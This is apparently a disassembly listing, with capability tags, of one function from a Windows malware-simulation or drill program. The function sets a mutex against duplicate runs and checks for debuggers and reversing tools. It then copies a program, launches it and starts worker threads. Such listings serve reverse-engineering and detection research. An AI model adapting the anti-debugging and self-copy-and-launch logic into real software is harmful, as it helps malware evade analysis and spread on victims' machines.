Function at 0x408035
Capabilities:
Check mutex on windows
Copy file
Create process on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x18c
mov eax, dword [0x49c2e0]
xor eax, esp
mov dword [esp + 0x188], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x2c
mov dword [esp + 0x28], ebx
call fcn.0041e8b2
pop ecx
test eax, eax
je 0x408073
mov ecx, eax
call fcn.0040e6e8
mov esi, eax
mov dword [esp + 0x28], esi
jmp 0x408079
mov esi, ebx
mov dword [esp + 0x28], ebx
push 1
call fcn.0041e8b2
pop ecx
push 0x28
mov dword [esp + 0x14], eax
call fcn.0041e8b2
pop ecx
test eax, eax
je 0x4080a0
mov ecx, eax
call fcn.0040dea8
mov edi, eax
mov dword [esp + 0x14], edi
jmp 0x4080a6
mov edi, ebx
mov dword [esp + 0x14], ebx
mov ecx, esi
call fcn.0040e7a0
test al, al
jne 0x40811f
push ecx
push ebx
push ecx
mov esi, esp
push ecx
mov ecx, esp
push str.Out_Of_Period_Access
call fcn.00401668
push ecx
mov ecx, esp
push 0x4881e8
call fcn.00401668
push edi
push esi
call fcn.0040d167
call fcn.0040d046
mov ecx, dword [esp + 0x28]
test ecx, ecx
je 0x4080ea
push ecx
call fcn.00408a42
push ecx
push ebx
push ecx
mov esi, esp
push ecx
mov ecx, esp
push str.Self_Terminate_Treatment
call fcn.00401668
push ecx
mov ecx, esp
push 0x488208
call fcn.00401668
push edi
push esi
call fcn.0040d167
call fcn.0040d046
call fcn.0040e84f
jmp 0x408902
test esi, esi
je 0x40812b
push ecx
mov ecx, esi
call fcn.00408a42
push 0x24
call fcn.0041e8b2
pop ecx
test eax, eax
je 0x408144
mov ecx, eax
call fcn.0040a923
mov dword [esp + 0x28], eax
jmp 0x408148
mov dword [esp + 0x28], ebx
push 0x486b73
mov ecx, 0x4a12e0
call fcn.00409b23
test eax, eax
je 0x408160
call fcn.0040cf3f
push ecx
push ebx
push ecx
mov esi, esp
push ecx
mov ecx, esp
push str.Origin_Malware_Start
call fcn.00401668
push ecx
mov ecx, esp
push 0x488224
call fcn.00401668
push edi
push esi
call fcn.0040d167
call fcn.0040d046
push str.fsiDrill
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0xfe
mov dword [esp + 0x24], eax
lea eax, [esp + 0x95]
push ebx
push eax
mov byte [esp + 0x9c], bl
call fcn.00423360
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push ebx
push 0x410
mov esi, ebx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x4081fe
push 0xfe
lea eax, [esp + 0x94]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameA]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, 0xff
jae 0x408a3c
push 0x49d1e8
lea ecx, [esp + 0x1c]
mov byte [esp + esi + 0x94], bl
call fcn.00401743
push str.4057
lea eax, [esp + 0x1c]
push str._s.exe
push eax
call fcn.00403011
add esp, 0xc
lea eax, [esp + 0x90]
push eax
lea ecx, [esp + 0x1c]
call fcn.00409b23
mov esi, dword [esp + 0x18]
test eax, eax
je 0x4082a9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40826b
push ecx
lea ecx, [esi - 0x10]
mov edi, esp
call fcn.00401f3d
add eax, 0x10
mov dword [edi], eax
call fcn.00407f92
pop ecx
cmp eax, 1
jne 0x4082a9
push ecx
push ebx
push ecx
mov edi, esp
push ecx
mov ecx, esp
push str.Mutex_Duplicate_execution_
call fcn.00401668
push ecx
mov ecx, esp
push 0x488258
call fcn.00401668
mov ecx, dword [esp + 0x28]
push ecx
push edi
call fcn.0040d167
call fcn.0040d046
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4088fa
push 0xc
call fcn.0041e8b2
pop ecx
test eax, eax
je 0x4082c4
mov ecx, eax
call fcn.00401fdd
mov edi, eax
mov dword [esp + 0x18], edi
jmp 0x4082ca
mov edi, ebx
mov dword [esp + 0x18], ebx
mov ecx, edi
call fcn.0040219f
cmp al, 1
jne 0x40831a
push str.false
push ecx
push ecx
mov ecx, esp
push str.isConfigInit
mov dword [esp + 0x34], 1
call fcn.00401668
push ecx
mov ecx, esp
push str.drill
call fcn.00401668
lea eax, [esp + 0x30]
push eax
mov ecx, edi
call fcn.0040210f
pop ecx
mov ecx, eax
call fcn.00409b23
mov byte [esp + 0x1f], 1
test eax, eax
je 0x40831e
mov byte [esp + 0x1f], bl
test byte [esp + 0x24], 1
je 0x408331
mov ecx, dword [esp + 0x20]
add ecx, 0xfffffff0
call fcn.00401253
push ecx
cmp byte [esp + 0x23], bl
je 0x4086a6
mov ecx, dword [esp + 0x18]
mov edi, esp
mov ecx, dword [ecx + 0x18]
sub ecx, 0x10
call fcn.00401f3d
push ecx
add eax, 0x10
mov ecx, esp
push str.trn_id
mov dword [edi], eax
call fcn.00401668
push ecx
mov ecx, esp
push str.Computer_Information
call fcn.00401668
mov ecx, dword [esp + 0x24]
call fcn.00402052
mov eax, dword [esp + 0x14]
push ecx
mov ecx, dword [eax + 0x20]
sub ecx, 0x10
mov edi, esp
call fcn.00401f3d
push ecx
add eax, 0x10
mov ecx, esp
push str.template_Id
mov dword [edi], eax
call fcn.00401668
push ecx
mov ecx, esp
push str.Computer_Information
call fcn.00401668
mov ecx, dword [esp + 0x24]
call fcn.00402052
mov eax, dword [esp + 0x14]
push ecx
mov ecx, dword [eax + 0x1c]
sub ecx, 0x10
mov edi, esp
call fcn.00401f3d
push ecx
add eax, 0x10
mov ecx, esp
push str.malware_Id
mov dword [edi], eax
call fcn.00401668
push ecx
mov ecx, esp
push str.Computer_Information
call fcn.00401668
mov ecx, dword [esp + 0x24]
call fcn.00402052
mov eax, dword [esp + 0x14]
push ecx
mov ecx, dword [eax + 0x24]
sub ecx, 0x10
mov edi, esp
call fcn.00401f3d
push ecx
add eax, 0x10
mov ecx, esp
push str.user_Id
mov dword [edi], eax
call fcn.00401668
push ecx
mov ecx, esp
push str.Computer_Information
call fcn.00401668
mov ecx, dword [esp + 0x24]
call fcn.00402052
push 0x486b73
mov ecx, 0x4a12e0
call fcn.00409b23
test eax, eax
je 0x4084f0
mov ebx, 0x49d1e8
push ebx
lea ecx, [esp + 0x24]
call fcn.00401743
push ebx
lea ecx, [esp + 0x30]
call fcn.00401743
push 1
lea eax, [esp + 0x30]
push 0x486e84
push eax
call fcn.00403011
add esp, 0xc
lea eax, [esp + 0x2c]
push eax
mov edx, str.LogServer
lea ecx, [esp + 0x10]
call fcn.00402fa9
pop ecx
push eax
lea ecx, [esp + 0x24]
call fcn.00401dc6
mov ecx, dword [esp + 0xc]
add ecx, 0xfffffff0
call fcn.00401253
push ecx
mov ebx, esp
push ecx
mov ecx, dword [0x4a12e0]
add ecx, 0xfffffff0
mov edi, esp
call fcn.00401f3d
add eax, 0x10
push ebx
mov dword [edi], eax
call fcn.0040ced5
mov ebx, dword [esp + 0x24]
push ecx
lea ecx, [ebx - 0x10]
mov edi, esp
call fcn.00401f3d
push ecx
add eax, 0x10
mov ecx, esp
push str.connect
mov dword [edi], eax
call fcn.00401668
mov ecx, dword [esp + 0x24]
call fcn.00402052
mov ecx, dword [esp + 0x2c]
lea ecx, [ecx - 0x10]
call fcn.00401253
lea ecx, [ebx - 0x10]
call fcn.00401253
xor ebx, ebx
push ecx
mov edi, esp
push ecx
mov ecx, esp
push str.Treatment
call fcn.00401668
push ecx
mov ecx, esp
push 0x488288
call fcn.00401668
push dword [esp + 0x20]
push edi
call fcn.0040d167
push ecx
mov ecx, esp
push str.malChecker
call fcn.00401668
push ecx
mov ecx, esp
push str.Computer_Information
call fcn.00401668
mov edi, dword [esp + 0x24]
mov ecx, edi
call fcn.00402052
mov ecx, dword [esp + 0x14]
push edi
call fcn.0040df94
push ecx
mov ecx, esp
push str.true
call fcn.00401668
push ecx
mov ecx, esp
push str.isConfigInit
call fcn.00401668
push ecx
mov ecx, esp
push str.drill
call fcn.00401668
mov ecx, edi
call fcn.00402052
push 1
call fcn.0041e8b2
mov edi, eax
pop ecx
lea eax, [esp + 0x24]
push eax
call fcn.00401510
push 0x486b73
lea ecx, [esp + 0x28]
call fcn.00409b23
test eax, eax
je 0x408600
push 0x49d1e8
lea ecx, [esp + 0x24]
call fcn.00401743
push dword [esp + 0x24]
lea eax, [esp + 0x24]
push str.Reversing_Detect_Tool:_s_
push eax
call fcn.00403011
pop ecx
pop ecx
push ebx
mov ebx, dword [esp + 0x28]
push ecx
mov dword [esp + 0x18], esp
push ecx
lea ecx, [ebx - 0x10]
mov edi, esp
call fcn.00401f3d
push ecx
add eax, 0x10
mov ecx, esp
push 0x4882a8
mov dword [edi], eax
call fcn.00401668
push dword [esp + 0x28]
push dword [esp + 0x24]
call fcn.0040d167
call fcn.0040d046
lea ecx, [ebx - 0x10]
call fcn.00401253
jmp 0x408669
mov ecx, edi
call fcn.0040126f
cmp al, 1
jne 0x40861a
push ecx
push ebx
push ecx
mov edi, esp
push ecx
mov ecx, esp
push str.Reversing_Detect_MemoryBP_
jmp 0x408648
call fcn.0040137d
test eax, eax
jle 0x408632
push ecx
push ebx
push ecx
mov edi, esp
push ecx
mov ecx, esp
push str.Reversing_Detect_HardwareBP_
jmp 0x408648
call fcn.00401408
cmp al, 1
jne 0x408669
push ecx
push ebx
push ecx
mov edi, esp
push ecx
mov ecx, esp
push str.Reversing_Detect_ProcessDebugFlags_
call fcn.00401668
push ecx
mov ecx, esp
push 0x4882a8
call fcn.00401668
push dword [esp + 0x28]
push edi
call fcn.0040d167
call fcn.0040d046
push ecx
push 0
push ecx
mov edi, esp
push ecx
mov ecx, esp
push str.ConfigFileInitSuccess
call fcn.00401668
push ecx
mov ecx, esp
push 0x488324
call fcn.00401668
push dword [esp + 0x28]
push edi
call fcn.0040d167
call fcn.0040d046
mov ecx, dword [esp + 0x24]
add ecx, 0xfffffff0
call fcn.00401253
jmp 0x4086d3
push ebx
push ecx
mov edi, esp
push ecx
mov ecx, esp
push str.ConfigFileInitFail
call fcn.00401668
push ecx
mov ecx, esp
push 0x48833c
call fcn.00401668
push dword [esp + 0x28]
push edi
call fcn.0040d167
call fcn.0040d046
push str.false
push ecx
push ecx
mov ecx, esp
push str.isInit
call fcn.00401668
push ecx
mov ecx, esp
push str.drill
call fcn.00401668
mov edi, dword [esp + 0x28]
lea eax, [esp + 0x1c]
push eax
mov ecx, edi
call fcn.0040210f
pop ecx
mov ecx, eax
call fcn.00409b23
mov ecx, dword [esp + 0xc]
mov ebx, eax
neg ebx
sbb bl, bl
add ecx, 0xfffffff0
call fcn.00401253
push ecx
inc bl
je 0x40876d
mov ecx, esp
push str.true
call fcn.00401668
push ecx
mov ecx, esp
push str.isInit
call fcn.00401668
push ecx
mov ecx, esp
push str.drill
call fcn.00401668
mov ecx, edi
call fcn.00402052
push ecx
xor ebx, ebx
push ebx
push ecx
mov edi, esp
push ecx
mov ecx, esp
push str.Init
call fcn.00401668
push ecx
mov ecx, esp
push 0x488348
jmp 0x408788
xor ebx, ebx
push ebx
push ecx
mov edi, esp
push ecx
mov ecx, esp
push str.start
call fcn.00401668
push ecx
mov ecx, esp
push 0x488224
call fcn.00401668
push dword [esp + 0x28]
push edi
call fcn.0040d167
call fcn.0040d046
or dword [esp + 0x34], 0xffffffff
xor eax, eax
lea edi, [esp + 0x38]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, dword [esp + 0x28]
push dword [edi + 0x1c]
lea eax, [edi + 0xc]
mov ecx, eax
mov dword [esp + 0x10], eax
call fcn.00409b23
test eax, eax
je 0x408808
push 1
push dword [edi + 0xc]
push dword [edi + 0x1c]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push ecx
push ebx
push ecx
mov edi, esp
push ecx
mov ecx, esp
test eax, eax
jne 0x40891b
push str.ProgramCopyFail
call fcn.00401668
push ecx
mov ecx, esp
push 0x488364
call fcn.00401668
push dword [esp + 0x28]
push edi
call fcn.0040d167
call fcn.0040d046
mov eax, dword [esp + 0x10]
test eax, eax
je 0x408817
push eax
call fcn.0041dd3e
pop ecx
mov edi, dword [esp + 0x14]
test edi, edi
je 0x40882d
mov ecx, edi
call fcn.0040e1a4
push edi
call fcn.0041dd3e
pop ecx
mov eax, dword [esp + 0x18]
test eax, eax
je 0x40883d
push ecx
mov ecx, eax
call fcn.00408aaf
mov edi, dword [esp + 0x28]
mov ecx, edi
call fcn.0040aa15
push edi
call fcn.0041dd3e
pop ecx
push 0x10
call fcn.0041e8b2
mov dword [esp + 0x34], eax
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
pop ecx
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
mov ecx, dword [esp + 0x30]
mov eax, dword [ebp + 0xc]
mov dword [ecx + 4], eax
mov ecx, dword [esp + 0x30]
mov eax, dword [ebp + 0x10]
mov dword [ecx + 8], eax
mov eax, dword [esp + 0x30]
mov ecx, dword [ebp + 0x14]
push ebx
push ebx
mov dword [eax + 0xc], ecx
lea eax, [esp + 0x38]
push eax
push 0x408af1
push ebx
push ebx
call edi
push ebx
push ebx
push ebx
push 0x409544
push ebx
push ebx
mov dword [esp + 0x4c], eax
call edi
push ebx
push ebx
push ebx
push 0x4097c4
push ebx
push ebx
mov dword [esp + 0x50], eax
call edi
push ebx
push ebx
push ebx
push 0x4097c4
push ebx
push ebx
mov dword [esp + 0x54], eax
call edi
push ebx
push ebx
push ebx
push 0x4097c9
push ebx
push ebx
mov dword [esp + 0x58], eax
call edi
mov dword [esp + 0x44], eax
mov eax, dword [esp + ebx*4 + 0x34]
test eax, eax
je 0x4088f4
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 5
jl 0x4088d8
lea ecx, [esi - 0x10]
call fcn.00401253
mov ecx, dword [esp + 0x194]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0041dd43
mov esp, ebp
pop ebp
ret 0x10
push str.ProgramCopySuccess
call fcn.00401668
push ecx
mov ecx, esp
push 0x48837c
call fcn.00401668
push dword [esp + 0x28]
push edi
call fcn.0040d167
call fcn.0040d046
push ecx
mov ecx, esp
push str.true
call fcn.00401668
push ecx
mov ecx, esp
push str.isCopy
call fcn.00401668
push ecx
mov ecx, esp
push str.drill
call fcn.00401668
mov ecx, dword [esp + 0x24]
call fcn.00402052
push 0x44
pop edi
push edi
lea eax, [esp + 0x4c]
push ebx
push eax
call fcn.00423360
mov dword [esp + 0x54], edi
xor eax, eax
lea edi, [esp + 0x40]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
push 0x486b73
lea ecx, [esp + 0x28]
stosd dword es:[edi], eax
call fcn.00401668
mov edi, dword [esp + 0xc]
push edi
lea ecx, [esp + 0x28]
call fcn.00401dc6
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x4c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [edi]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4089dc
mov ecx, dword [esp + 0x24]
lea ecx, [ecx - 0x10]
call fcn.00401253
jmp 0x4088fa
push ecx
mov ecx, esp
push str.true
call fcn.00401668
push ecx
mov ecx, esp
push str.isExcute
call fcn.00401668
push ecx
mov ecx, esp
push str.drill
call fcn.00401668
mov ecx, dword [esp + 0x24]
call fcn.00402052
push ecx
push ebx
push ecx
mov edi, esp
push ecx
mov ecx, esp
push str.CreateProcessSuccess
call fcn.00401668
push ecx
mov ecx, esp
push 0x488398
call fcn.00401668
push dword [esp + 0x28]
push edi
call fcn.0040d167
call fcn.0040d046
jmp 0x4089cb
call fcn.0041fdd0
int3